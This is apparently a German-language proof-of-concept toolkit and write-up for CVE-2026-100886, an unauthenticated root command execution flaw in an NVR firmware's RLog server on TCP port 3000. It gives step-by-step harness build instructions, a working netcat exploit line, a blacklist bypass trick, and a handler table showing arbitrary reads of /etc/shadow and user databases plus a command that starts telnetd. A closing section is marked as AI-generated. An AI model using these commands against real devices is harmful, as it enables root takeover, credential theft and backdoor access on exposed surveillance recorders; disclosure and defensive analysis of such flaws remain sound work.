
CVE-2026-100886 | Toolkit für nicht authentifizierte Remote-Code-Ausführung.
Der Harness demonstriert, dass die libLOG.so der Firmware einen RLog-Server auf TCP/3000 startet. Die Analyse des Command-Dispatchers und dynamische Tests belegen eine unauthentifizierte Ausführung von Betriebssystembefehlen über diesen Server.
Er lädt die eigene libLOG.so der Firmware unter qemu-arm, ruft TLog_Init() auf, und der echte Server bindet an 0.0.0.0:3000 und akzeptiert eingehende Verbindungen von überall ohne Authentifizierung.
Die Firmware stellt einen unauthentifizierten RLog-Command-Server auf TCP/3000 bereit.
Der Command-Dispatcher registriert Cmd, wodurch angreiferkontrollierte Eingaben an TLog_CMD weitergegeben werden. TLog_CMD ruft letztlich das Backend zur Befehlsausführung der Firmware auf.
Daher:
Unauthenticated TCP connection
↓
RLog command dispatcher
↓
Cmd <attacker-controlled command>
↓
TLog_CMD
↓
mysystem()
↓
/bin/sh
↓
command execution
harness.c: persistente Version: startet den Server und wartet (für den tatsächlichen Einsatz verwenden)probe_harness.c: Probe-Version: versucht zusätzlich Befehls-Probes von innerhalb des Emulators (zeigt die Anforderung des Type-Byte-Framings)Falls der Firmware-Download, den das untenstehende Skript zum Erstellen des Sysroots verwendet, nicht mehr existiert. Du kannst ihn von einer dieser Quellen beziehen (einfach per Bildsuche nach dem NVR suchen, die Firmware ist weit verbreitet):
Ich habe die Firmware v4.6.1.4-build202604241011 dafür verwendet, andere Firmware-Versionen wurden noch nicht getestet, aber Downstream-Dropshipper wie fullward haben sie ebenfalls.
Führe dies im selben Verzeichnis wie die Harnesses aus
# Download and extract toolchain
wget https://gitlab.arm.com/api/v4/projects/tooling%2Fgnu-toolchains-for-arm/packages/generic/gnu-toolchain/15.3.rel1/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
tar -xvf arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
TC=$(pwd)/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf
# Creating the sysroot
wget http://www.tpsee.com/upload/firmware/update-ts81xxd3x-v4.6.1.4-build202604241011.bin
binwalk -Me update-ts81xxd3x-v4.6.1.4-build202604241011.bin
mkdir -p sysroot
cp -a "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_rootfs.ts81xxd3x.extracted/squashfs-root/lib" sysroot/
cp "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libLOG.so" \
"_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libmysystem.so" sysroot/lib/
$TC -march=armv7-a -mthumb -mfloat-abi=soft -nostdlib -ffreestanding -fno-builtin \
-Wl,--dynamic-linker,/lib/ld-uClibc.so.0 -Wl,-rpath,/lib -Wl,-e,_start -Wl,--export-dynamic \
harness.c -o harness -L sysroot/lib -lc
Dieser Harness stellt Stub-Implementierungen der Symbole bereit, die libLOG.so aus edvr importiert
qemu-arm -L sysroot ./harness &
sleep 2
ss -tln | grep 3000
# -> LISTEN 0 5 0.0.0.0:3000 0.0.0.0:* (qemu user-mode forwards the emulated socket to the host)
Beobachtete Ausgabe von probe_harness.c (nicht die im obigen Skript verwendete):
dlopen ok
TLog_Init() -> 0
--- probe port 3000 ---
connect port 3000 OK (x5 meaning every connection accepted)
REPLY: timeout/none (plain-text probes ignored: binary type-byte framing required)
➜ seetong-ts81xxd3x-rce printf 'Cmd cat /etc/os-release > /tmp/rlog_os.txt\r\n' | nc 127.0.0.1 3000
^C%
➜ seetong-ts81xxd3x-rce cat /tmp/rlog_os.txt
NAME="Artix Linux"
PRETTY_NAME="Artix Linux"
ID=artix
BUILD_ID=rolling
ANSI_COLOR="38;2;23;147;209"
HOME_URL="https://artixlinux.org/"
DOCUMENTATION_URL="https://wiki.artixlinux.org/"
SUPPORT_URL="https://forum.artixlinux.org/"
BUG_REPORT_URL="https://bugs.artixlinux.org/"
PRIVACY_POLICY_URL="https://terms.artixlinux.org/docs/privacy-policy/"
LOGO=artixlinux-logo
➜ seetong-ts81xxd3x-rce
Artix Linux wird angezeigt, weil der qemu-User-Mode das Host-Dateisystem gemeinsam nutzt, da dieses PoC es nicht ordnungsgemäß isoliert.
KI-Offenlegung, der folgende Text wurde von KI generiert
LogModuleRegCmd @ 0x8f94)| Befehl | Handler | Wirkung |
|---|---|---|
StartDebug, StartLog, SetLogLevel, Help, StartAutoTest | diverse | Logging-/Selbsttest-Steuerung |
GetSystemStatus, GetSystemInfo, GetSystemLog, GetSystemCfg | TLog_Get* | Offenlegung von Info/Konfiguration/Logs |
GetSystemFile [abs names] | TLog_GetSystemFile (0x7a94) + TLog_SendFile (0x48f0) | beliebiges Dateilesen (/etc/shadow, /usr/local/etc/user.db, ...) |
GetPrintfFile | TLog_GetPrintfFile | Dateilesen |
Cmd [System commands] | TLog_CMD (0x3680) | Shell-Befehlsausführung als root |
PortMap on <ip> <port> / PortMap off | fcn.00008b76 | Reverse-TUN-Tunnel + telnetd auf Port 23 |
; \r \n).vi, cd, top, if, killcmd} (strcmp) — trivial umgehbar (cat, sh, Quoting)."%s -b" → Ausführung über sh -c.ps -ef | grep "sh -c %s" |grep -v grep, '{print $1}' | xargs kill -9.mysystem() (libmysystem.so) → IPC an /usr/sbin/systemd (gefälschtes systemd, führt über /bin/sh als root aus; Strings "[systemd cmd:]%s", "[systemd ret:]%d").Blacklist-Demo (2026-08-04, emulierter Server):
Cmd vi > /tmp/bl_vi → dropped (no file created)
Cmd cat /etc/hostname > /tmp/bl_cat → executed (file contains hostname)
Cmd v''i > /tmp/bl_bypass → BLACKLIST BYPASSED (shell sees `vi`, strcmp sees `v''i`)
PortMap on <ip> <port> (erwartet 3 Felder).portmap_client_start(ip, port) (0x88b0):
system("lsmod | grep -q '^tun\\b' || insmod /config/modules/4.9.84/tun.ko")/dev/net/tun, erstellt Interface tps0, ifconfig tps0 up/mnt/nand/yun_id.txt, /etc/product_type.txtsystem("touch /usr/local/etc/normal_telnet") (0x897e→0x8982)system("killall telnetd") (0x8c1e) und system("telnetd -p 23 &") (0x8c32) aus.portmap_client_stop (0x8a48) → system("rm -f /usr/local/etc/normal_telnet"), ifconfig tps0 down.portmap_client_get_status, portmap_client_is_running, portmap_client_get_assigned_ip."usage: PortMap on <ip> <port> | PortMap off\n", "PortMap on: IP=%s, Port=%d\n", "PortMap start success! ret:%d", "PortMap stop success!"."rm %s/* -rf" (0xad10) — verwendet von der Log-Verzeichnis-Bereinigung (TLog_DeleteLogFile).Harness (harness.c) dlopen't libLOG.so, stubbt dessen edvr-Importe, ruft TLog_Init() auf:
dlopen ok
TLog_Init() -> 0
Host-Seite (qemu-User-Mode-Socket-Passthrough):
LISTEN 0 5 0.0.0.0:3000 0.0.0.0:* users:(("qemu-arm",pid=...,fd=0))